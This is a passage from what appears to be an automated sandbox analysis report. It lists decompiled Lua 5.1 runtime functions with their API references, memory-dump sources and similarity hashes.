					_push(_t5);
					L005E3F26();
					return 0;
				} else {
					_push(1);
					_push(_t5);
					L005E3F0E();
					return E005E1290(__eax, _t5, 0, __eax, 0);
				}
			}

0x005e1431
0x005e1435
0x005e1437
0x005e1438
0x005e1442
0x005e145b
0x005e1460
0x005e1461
0x005e146c
0x005e1444
0x005e1444
0x005e1446
0x005e1447
0x005e145a
0x005e145a

APIs

lua_isuserdata.LUA5.1(?,00000001), ref: 005E1438
lua_touserdata.LUA5.1(?,00000001), ref: 005E1447

Part of subcall function 005E1290: lua_newuserdata.LUA5.1(?,00000038,00000000,005E13F1,00000000,00000000,?), ref: 005E1294
Part of subcall function 005E1290: lua_getfield.LUA5.1(?,FFFFD8F0,alien_function,00000000,00000000,?), ref: 005E12AD
Part of subcall function 005E1290: lua_setmetatable.LUA5.1(?,000000FE,?,FFFFD8F0,alien_function,00000000,00000000,?), ref: 005E12B5

luaL_error.LUA5.1(?,alien: not an userdata), ref: 005E1461

Strings

alien: not an userdata, xrefs: 005E145B

Memory Dump Source

Source File: 00000002.00000002.470086883.00000000005E1000.00000020.00020000.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000002.00000002.470056467.00000000005E0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470120189.00000000005E5000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470145709.00000000005E7000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470178146.00000000005E8000.00000002.00020000.sdmp Download File

Similarity

API ID: L_error.lua_getfield.lua_isuserdata.lua_newuserdata.lua_setmetatable.lua_touserdata.
String ID: alien: not an userdata
API String ID: 3925326714-1813700245
Opcode ID: 645d17e6ebe48c93b193f270a7dd3007f83100557af3a1d6278143b66d50f1ac
Instruction ID: 9df2fab9269c9c0a2b02eb730c4e93c571ff4ef5d0470ad2b7059dd6c6a1d98d
Opcode Fuzzy Hash: 645d17e6ebe48c93b193f270a7dd3007f83100557af3a1d6278143b66d50f1ac
Instruction Fuzzy Hash: A2D0C262A4828231EA04312B3C8BF3E197A2BD0B01F440064FA84AA1C6F5E592424036

Uniqueness

Uniqueness Score: -1.00%

Function 10013670, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 23COMMON

Download Yara Rule

APIs

tmpnam.MSVCRT ref: 10013678
luaL_error.LUA5.1(?,unable to generate a unique filename), ref: 1001368F

Part of subcall function 1000F230: luaL_where.LUA5.1(?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F238
Part of subcall function 1000F230: lua_pushvfstring.LUA5.1(?,?,00000001,?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F248
Part of subcall function 1000F230: lua_concat.LUA5.1(?,00000002,?,?,00000001,?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F250
Part of subcall function 1000F230: lua_error.LUA5.1(?,?,00000002,?,?,00000001,?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F256

lua_pushstring.LUA5.1(?), ref: 100136A5

Strings

unable to generate a unique filename, xrefs: 10013689

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: L_error.L_where.lua_concat.lua_error.lua_pushstring.lua_pushvfstring.tmpnam
String ID: unable to generate a unique filename
API String ID: 3865537989-1457574477
Opcode ID: cfdd6caf2f334ae9c857d5b20d415b50ea245c5b806b89cfa5284dc14dd977ac
Instruction ID: 4e9f64205a8e20b3be9c476eae78073551fc29bdad022eb7dd008a37283bf7e1
Opcode Fuzzy Hash: cfdd6caf2f334ae9c857d5b20d415b50ea245c5b806b89cfa5284dc14dd977ac
Instruction Fuzzy Hash: 71E086F9D0024167E700EB689D4696B73A8FBD0248FC88C58F94886203F635D65C4763

Uniqueness

Uniqueness Score: -1.00%

Function 10016560, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

lua_tolstring.LUA5.1(?,000000FF,00000000,?,100163DA,?,00000000), ref: 1001656A
lua_tolstring.LUA5.1(?,00000001,00000000,?,00000000,100163DA,?,00000000), ref: 1001657D
luaL_error.LUA5.1(?,error loading module '%s' from file '%s':%s,00000000,?,?,00000000,100163DA,?,00000000), ref: 1001658C

Part of subcall function 1000F230: luaL_where.LUA5.1(?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F238
Part of subcall function 1000F230: lua_pushvfstring.LUA5.1(?,?,00000001,?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F248
Part of subcall function 1000F230: lua_concat.LUA5.1(?,00000002,?,?,00000001,?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F250
Part of subcall function 1000F230: lua_error.LUA5.1(?,?,00000002,?,?,00000001,?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F256

Strings

error loading module '%s' from file '%s':%s, xrefs: 10016586

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_tolstring.$L_error.L_where.lua_concat.lua_error.lua_pushvfstring.
String ID: error loading module '%s' from file '%s':%s
API String ID: 2484346184-1344418331
Opcode ID: 32cf2b706682f2f2baa1de6659de6794de143f5127e0f7a532343d27c4b938ec
Instruction ID: 5dced8c37d1bd659f57fbec0a4f264a68f6852609036cac7c1fca2472e822d55
Opcode Fuzzy Hash: 32cf2b706682f2f2baa1de6659de6794de143f5127e0f7a532343d27c4b938ec
Instruction Fuzzy Hash: C5D05BAA95522136E501E5047C03FDB224CCF15254F180114F514761C7D655668201F6

Uniqueness

Uniqueness Score: -1.00%

Function 100121F0, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20COMMON

Download Yara Rule

APIs

lua_newuserdata.LUA5.1(?,00000004,?,?,10012D5C,?,?,?,10012BF3,?,75974600,00000001,stdin,?,1001A2F0,10017718), ref: 100121F9
lua_getfield.LUA5.1(?,FFFFD8F0,FILE*,?,00000004,?,?,10012D5C,?,?,?,10012BF3,?,75974600,00000001,stdin), ref: 10012211

Part of subcall function 10001B90: luaS_newlstr.LUA5.1(?,?,?,?,?), ref: 10001BBA

lua_setmetatable.LUA5.1(?,000000FE,?,FFFFD8F0,FILE*,?,00000004,?,?,10012D5C,?,?,?,10012BF3,?,75974600), ref: 10012219

Strings

FILE*, xrefs: 10012200

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: S_newlstr.lua_getfield.lua_newuserdata.lua_setmetatable.
String ID: FILE*
API String ID: 1122121683-3635956593
Opcode ID: 5bdf5ad4eef6875ca214745b2dc5dd3528bcc54185bceed1b74d6547d3e01608
Instruction ID: 7134924bfd24a7a02b8d9ad7f1bdac7bf48051cf3fdc09c6721267f6de9bdc2a
Opcode Fuzzy Hash: 5bdf5ad4eef6875ca214745b2dc5dd3528bcc54185bceed1b74d6547d3e01608
Instruction Fuzzy Hash: 18D0A73A61913236E500A61C6C02FDF229DCFC61B4F140121F304A72CAEB74784242FA

Uniqueness

Uniqueness Score: -1.00%

Function 10012010, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 19COMMON

Download Yara Rule

APIs

luaL_checkudata.LUA5.1(?,00000001,FILE*,?,?,10011FFB,?), ref: 1001201E

Part of subcall function 1000F370: lua_touserdata.LUA5.1(?,?), ref: 1000F37E
Part of subcall function 1000F370: lua_getmetatable.LUA5.1(?,?), ref: 1000F392
Part of subcall function 1000F370: lua_getfield.LUA5.1(?,FFFFD8F0,?), ref: 1000F3A5
Part of subcall function 1000F370: lua_rawequal.LUA5.1(?,000000FF,000000FE,?,FFFFD8F0,?), ref: 1000F3AF
Part of subcall function 1000F370: lua_settop.LUA5.1(?,000000FD), ref: 1000F3BE

luaL_error.LUA5.1(?,attempt to use a closed file,?,10011FFB,?), ref: 10012033

Part of subcall function 1000F230: luaL_where.LUA5.1(?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F238
Part of subcall function 1000F230: lua_pushvfstring.LUA5.1(?,?,00000001,?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F248
Part of subcall function 1000F230: lua_concat.LUA5.1(?,00000002,?,?,00000001,?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F250
Part of subcall function 1000F230: lua_error.LUA5.1(?,?,00000002,?,?,00000001,?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F256

Strings

FILE*, xrefs: 10012016
attempt to use a closed file, xrefs: 1001202D

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: L_checkudata.L_error.L_where.lua_concat.lua_error.lua_getfield.lua_getmetatable.lua_pushvfstring.lua_rawequal.lua_settop.lua_touserdata.
String ID: FILE*$attempt to use a closed file
API String ID: 3655263557-999929173
Opcode ID: 676362a25ccf0682f74e64b40a098e7f8bf8bc81a451623ecde0bc1d9f83abfc
Instruction ID: 2c1477c53ff95216f56ed172b42eed7a0651bb4036367a1aa81734a6bd91c4e2
Opcode Fuzzy Hash: 676362a25ccf0682f74e64b40a098e7f8bf8bc81a451623ecde0bc1d9f83abfc
Instruction Fuzzy Hash: 2FD0A77A5001006BD230D518BC41FEF77E4DBD76B4F05042EF5446B102E37999C296E2

Uniqueness

Uniqueness Score: -1.00%

Function 10012040, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

lua_getfenv.LUA5.1(?,00000001,?,10012001,?,?), ref: 10012048
lua_getfield.LUA5.1(?,000000FF,__close,?,00000001,?,10012001,?,?), ref: 10012055

Part of subcall function 10001B90: luaS_newlstr.LUA5.1(?,?,?,?,?), ref: 10001BBA

lua_tocfunction.LUA5.1(?,000000FF,?,?,?,10012001,?,?), ref: 10012061

Strings

__close, xrefs: 1001204D

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: S_newlstr.lua_getfenv.lua_getfield.lua_tocfunction.
String ID: __close
API String ID: 3835761185-1611303643
Opcode ID: 89373ea785e02535e1d1e7e699091443d89e53cb6170c468e6bc536e5118f911
Instruction ID: 6d658d750cfff7053f7be81a501ed09e58c9c10ff223492455c8d9e02a99d12d
Opcode Fuzzy Hash: 89373ea785e02535e1d1e7e699091443d89e53cb6170c468e6bc536e5118f911
Instruction Fuzzy Hash: 25D0C96A80A43132E801B29C3C02DCF35988F5B2F5F190351F538762DBEAAA769241F7

Uniqueness

Uniqueness Score: -1.00%

Function 10013E50, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

luaL_checktype.LUA5.1(?,00000001,00000005), ref: 10013E5A

Part of subcall function 1000F410: lua_type.LUA5.1(?,?), ref: 1000F41C

luaL_error.LUA5.1(?,'setn' is obsolete,?,00000001,00000005), ref: 10013E65

Part of subcall function 1000F230: luaL_where.LUA5.1(?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F238
Part of subcall function 1000F230: lua_pushvfstring.LUA5.1(?,?,00000001,?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F248
Part of subcall function 1000F230: lua_concat.LUA5.1(?,00000002,?,?,00000001,?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F250
Part of subcall function 1000F230: lua_error.LUA5.1(?,?,00000002,?,?,00000001,?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F256

lua_pushvalue.LUA5.1(?,00000001,?,'setn' is obsolete,?,00000001,00000005), ref: 10013E6D

Strings

'setn' is obsolete, xrefs: 10013E5F

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: L_checktype.L_error.L_where.lua_concat.lua_error.lua_pushvalue.lua_pushvfstring.lua_type.
String ID: 'setn' is obsolete
API String ID: 1691250520-3428337588
Opcode ID: 51f58fc880e26dba083434a1ed2343e1932b338689e4197df332473a0e73f3a0
Instruction ID: 16b7d17d80cd25ed47ab0d222f8ee37cd6ce385ae83042bde45d997df5ff2d28
Opcode Fuzzy Hash: 51f58fc880e26dba083434a1ed2343e1932b338689e4197df332473a0e73f3a0
Instruction Fuzzy Hash: A8D0123956593031F511A1187C43FDF11498F46794F050054B6003A5C7E6DA77C205EA

Uniqueness

Uniqueness Score: -1.00%

Function 100077F0, Relevance: 6.2, APIs: 4, Instructions: 192COMMON

Download Yara Rule

APIs

_isctype.MSVCRT ref: 1000791E

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: _isctype
String ID:
API String ID: 162844146-0
Opcode ID: c272692460c4cf5e1a31f8420e57b25e58fe221bc950b48e4a7e3596cd5dad61
Instruction ID: 720ea45e40ef653a38e1a008a106f4002719a8c94b2d045a289e4cbee1165de6
Opcode Fuzzy Hash: c272692460c4cf5e1a31f8420e57b25e58fe221bc950b48e4a7e3596cd5dad61
Instruction Fuzzy Hash: F661A275A00241CFE355CF18D881965B7F1FF8A38472488BEE58A8B765D636FC86CB90

Uniqueness

Uniqueness Score: -1.00%

Function 005C1B80, Relevance: 6.1, APIs: 4, Instructions: 98
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E005C1B80(char _a4, intOrPtr* _a8, intOrPtr _a12, intOrPtr* _a16) {
				intOrPtr _t19;
				void* _t20;
				signed int _t22;
				intOrPtr _t25;
				signed char _t37;
				intOrPtr _t43;
				intOrPtr _t48;
				intOrPtr* _t53;
				intOrPtr* _t55;
				intOrPtr* _t56;

				_t19 = _a12;
				_t55 = _a8;
				 *((char*)(_t55 + _t19)) = _a4;
				_t43 =  *_t55;
				_t20 = _t19 + 1;
				if(_t43 == 0xd) {
					if(_t20 >= 2) {
						if( *((char*)(_t55 + 1)) == 0xa) {
							_push(2);
							_push(_t55);
							_push(_a16);
							L005C2144();
						}
						goto L20;
					}
					goto L21;
				} else {
					if(_t43 == 0x3d) {
						if(_t20 < 3) {
							L21:
							return _t20;
						} else {
							_t22 =  *((intOrPtr*)(_t55 + 1));
							if(_t22 == 0xd &&  *((char*)(_t55 + 2)) == 0xa) {
								goto L20;
							}
							_t48 =  *((intOrPtr*)(_t55 + 2));
							_t37 =  *((intOrPtr*)((_t22 & 0x000000ff) + 0x5c40c0));
							_t11 = _t48 + 0x5c40c0; // 0xffffffff
							_t25 =  *_t11;
							_a4 = 0;
							if(_t37 > 0xf || 0 > 0xf) {
								_push(3);
								_push(_t55);
								_push(_a16);
								L005C2144();
								return 0;
							} else {
								_t56 = _a16;
								_t14 = _t56 + 0x20c; // 0x20d
								if( *_t56 >= _t14) {
									_push(_t56);
									L005C210E();
									_t25 = _a4;
								}
								 *((char*)( *_t56)) = (_t37 << 4) + _t25;
								 *_t56 =  *_t56 + 1;
								return 0;
							}
						}
					} else {
						if(_t43 == 9 || _t43 > 0x1f && _t43 < 0x7f) {
							_t53 = _a16;
							_t6 = _t53 + 0x20c; // 0x20d
							if( *_t53 >= _t6) {
								_push(_t53);
								L005C210E();
							}
						} else {
							L20:
							return 0;
						}
						 *((char*)( *_t53)) =  *_t55;
						 *_t53 =  *_t53 + 1;
						return 0;
					}
				}
			}

0x005c1b80
0x005c1b89
0x005c1b8d
0x005c1b90
0x005c1b92
0x005c1b96
0x005c1c6b
0x005c1c71
0x005c1c77
0x005c1c79
0x005c1c7a
0x005c1c7b
0x005c1c80
0x00000000
0x005c1c71
0x00000000
0x005c1b9c
0x005c1b9f
0x005c1be5
0x005c1c86
0x005c1c86
0x005c1beb
0x005c1beb
0x005c1bf0
0x00000000
0x00000000
0x005c1c03
0x005c1c07
0x005c1c0f
0x005c1c0f
0x005c1c18
0x005c1c1c
0x005c1c57
0x005c1c59
0x005c1c5a
0x005c1c5b
0x005c1c67
0x005c1c23
0x005c1c23
0x005c1c29
0x005c1c31
0x005c1c33
0x005c1c34
0x005c1c39
0x005c1c3d
0x005c1c47
0x005c1c4d
0x005c1c52
0x005c1c52
0x005c1c1c
0x005c1ba1
0x005c1ba4
0x005c1bb9
0x005c1bbf
0x005c1bc7
0x005c1bc9
0x005c1bca
0x005c1bcf
0x005c1c83
0x005c1c83
0x00000000
0x005c1c83
0x005c1bd6
0x005c1bdb
0x005c1be1
0x005c1be1
0x005c1b9f

APIs

luaL_prepbuffer.LUA5.1(00000001,00000000,00000001,005C1B48,00000000,?,00000000,?), ref: 005C1BCA
luaL_prepbuffer.LUA5.1(00000001,?,00000001,005C1B48,00000000,?,00000000,?), ref: 005C1C34
luaL_addlstring.LUA5.1(00000001,?,00000003,?,00000001,005C1B48,00000000,?,00000000,?), ref: 005C1C5B
luaL_addlstring.LUA5.1(005C1B48,?,00000002,00000001,005C1B48,00000000,?,00000000,?), ref: 005C1C7B

Memory Dump Source

Source File: 00000002.00000002.469920871.00000000005C1000.00000020.00020000.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000002.00000002.469875657.00000000005C0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469956724.00000000005C3000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469975310.00000000005C4000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470008958.00000000005C5000.00000002.00020000.sdmp Download File

Similarity

API ID: L_addlstring.L_prepbuffer.
String ID:
API String ID: 4145930887-0
Opcode ID: f62c77e5cc2c912ddad875246c00be990a873382a025fc20fb2482aeb7ed2f80
Instruction ID: 6b0c08a97056189b48bb227076af2324acc19ddd7ec10a2d5b20077e5c6129c2
Opcode Fuzzy Hash: f62c77e5cc2c912ddad875246c00be990a873382a025fc20fb2482aeb7ed2f80
Instruction Fuzzy Hash: 2831D371648A425FE725CAA8E495F97BFE2BB96310F18885DF1E4C3203D224DC45CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 100144E0, Relevance: 6.1, APIs: 4, Instructions: 51COMMON

Download Yara Rule

APIs

luaL_checklstring.LUA5.1(?,00000001,?), ref: 100144F7

Part of subcall function 1000F4A0: lua_tolstring.LUA5.1(?,?,?,?,?,?,1000F292,?,?,00000000), ref: 1000F4B2

luaL_buffinit.LUA5.1(?,?,?,00000001,?), ref: 10014504
luaL_prepbuffer.LUA5.1(?), ref: 1001452F
luaL_pushresult.LUA5.1(?), ref: 10014561

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: L_buffinit.L_checklstring.L_prepbuffer.L_pushresult.lua_tolstring.
String ID:
API String ID: 2576782297-0
Opcode ID: 86ab13813a30de9624fef9664fa0563e865a34352f6f1c1802f84d5582bc592a
Instruction ID: d1bf5f458ba8c56842d1ce918631bdf75fa145f8d52abb7bdaebbc6aa85808d5
Opcode Fuzzy Hash: 86ab13813a30de9624fef9664fa0563e865a34352f6f1c1802f84d5582bc592a
Instruction Fuzzy Hash: 7C01A5785047466FD704DB18C4859ABB7E5EFD4390F00C82DF89887266EA30E985CB92

Uniqueness

Uniqueness Score: -1.00%

Function 100132D0, Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

lua_gettop.LUA5.1(?), ref: 100132E0
luaL_checknumber.LUA5.1(?,00000001,?), ref: 100132EA

Part of subcall function 1000F540: lua_tonumber.LUA5.1(?,?), ref: 1000F54F
Part of subcall function 1000F540: lua_isnumber.LUA5.1(?,?), ref: 1000F56C

luaL_checknumber.LUA5.1(?,00000002), ref: 10013301
lua_pushnumber.LUA5.1(?,?,?), ref: 1001332C

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: L_checknumber.$lua_gettop.lua_isnumber.lua_pushnumber.lua_tonumber.
String ID:
API String ID: 2573354654-0
Opcode ID: f311bdd4c293f841cf1d71a763b8aaf0135801702ca63537b83f12ee612662bb
Instruction ID: 2d4690d30fca9eeafe38e92b046650cd3bfa04b8c82571849a946d2a8851d9c2
Opcode Fuzzy Hash: f311bdd4c293f841cf1d71a763b8aaf0135801702ca63537b83f12ee612662bb
Instruction Fuzzy Hash: 88F04C76A0420023D610ED489CC2ABFB7ECDBC16D0F00092DFE94522C1EA71ED9643E7

Uniqueness

Uniqueness Score: -1.00%

Function 10013340, Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

lua_gettop.LUA5.1(?), ref: 10013350
luaL_checknumber.LUA5.1(?,00000001,?), ref: 1001335A

Part of subcall function 1000F540: lua_tonumber.LUA5.1(?,?), ref: 1000F54F
Part of subcall function 1000F540: lua_isnumber.LUA5.1(?,?), ref: 1000F56C

luaL_checknumber.LUA5.1(?,00000002), ref: 10013371
lua_pushnumber.LUA5.1(?,?,?), ref: 1001339C

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: L_checknumber.$lua_gettop.lua_isnumber.lua_pushnumber.lua_tonumber.
String ID:
API String ID: 2573354654-0
Opcode ID: be168474d455871d387546e736e58b2e2ad8ca5506940369cc9243502da259ac
Instruction ID: 34fc56e8bf4691cb1a9473286fcf40f19ab4c958ada9e010713e511d593e534b
Opcode Fuzzy Hash: be168474d455871d387546e736e58b2e2ad8ca5506940369cc9243502da259ac
Instruction Fuzzy Hash: D2F02876A0420163D710E9499CC2AAFB7DCDBC1690F10056DFE98522C1EA65E99543EA

Uniqueness

Uniqueness Score: -1.00%

Function 00591390, Relevance: 6.0, APIs: 4, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 50%

			E00591390(void* __eax, void* __eflags, long long __fp0, void* _a4) {
				void* _t7;
				char _t17;

				_t17 = _a4;
				_push(0);
				_push(1);
				_push(_t17);
				L00594B54();
				_a4 = 0;
				_t7 = E00591400(__eflags, __eax,  &_a4);
				_t16 = _t7;
				if(_t7 == 0) {
					_push( *_a4);
					_push(_t17);
					L00594AD0();
					E00591650( *_a4, __fp0, _t17, _a4);
					return 2;
				} else {
					_push(_t17);
					L00594B4E();
					_push(E005946E0(_t16));
					_push(_t17);
					L00594AD0();
					return 2;
				}
			}

0x00591391
0x00591396
0x00591398
0x0059139a
0x0059139b
0x005913a4
0x005913ae
0x005913b3
0x005913ba
0x005913e0
0x005913e1
0x005913e2
0x005913ed
0x005913fc
0x005913bc
0x005913bc
0x005913bd
0x005913c8
0x005913c9
0x005913ca
0x005913d9
0x005913d9

APIs

luaL_checklstring.LUA5.1(?,00000001,00000000), ref: 0059139B
lua_pushnil.LUA5.1(?), ref: 005913BD
lua_pushstring.LUA5.1(?,00000000,00000000,?), ref: 005913CA
lua_pushstring.LUA5.1(?,00000000), ref: 005913E2

Memory Dump Source

Source File: 00000002.00000002.469704074.0000000000591000.00000020.00020000.sdmp, Offset: 00590000, based on PE: true

Associated: 00000002.00000002.469680317.0000000000590000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469736772.0000000000595000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469762517.0000000000596000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.469833584.0000000000597000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_pushstring.$L_checklstring.lua_pushnil.
String ID:
API String ID: 2680789078-0
Opcode ID: 96a08347e369bf5cafa426778346756c07dce58ee12468a83e0c017547eaf526
Instruction ID: 4094ad78c0224b1dc102965761197b44885708c76eee02752370c6e6fff69e2c
Opcode Fuzzy Hash: 96a08347e369bf5cafa426778346756c07dce58ee12468a83e0c017547eaf526
Instruction Fuzzy Hash: 0FF090B560452227EA10BA18EC4AFAF7A9DEFC1354F040458F40457242D6689D4786FA

Uniqueness

Uniqueness Score: -1.00%

Function 1000F690, Relevance: 6.0, APIs: 4, Instructions: 35COMMON

Download Yara Rule

APIs

lua_gettop.LUA5.1(?), ref: 1000F6A7
luaL_getmetafield.LUA5.1(?,?,?), ref: 1000F6BA
lua_pushvalue.LUA5.1(?,?), ref: 1000F6CB
lua_call.LUA5.1(?,00000001,00000001,?,?), ref: 1000F6D5

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: L_getmetafield.lua_call.lua_gettop.lua_pushvalue.
String ID:
API String ID: 2881719532-0
Opcode ID: 857d87dee5b5b38da487cccbbdba6748bfe543ae8705d989ab2311c0088c2779
Instruction ID: 4aba93018eab9533f90f1371732769aa6fa4bb3436fd7a3771569e247e3002d5
Opcode Fuzzy Hash: 857d87dee5b5b38da487cccbbdba6748bfe543ae8705d989ab2311c0088c2779
Instruction Fuzzy Hash: 50F0A03BA142202AE611D5197C42BFF6399CBC1BE4F02002DFD44A725AD352BD86A1E2

Uniqueness

Uniqueness Score: -1.00%

Function 10013070, Relevance: 6.0, APIs: 4, Instructions: 32COMMON

Download Yara Rule

APIs

luaL_checknumber.LUA5.1(?,00000001,?), ref: 10013085

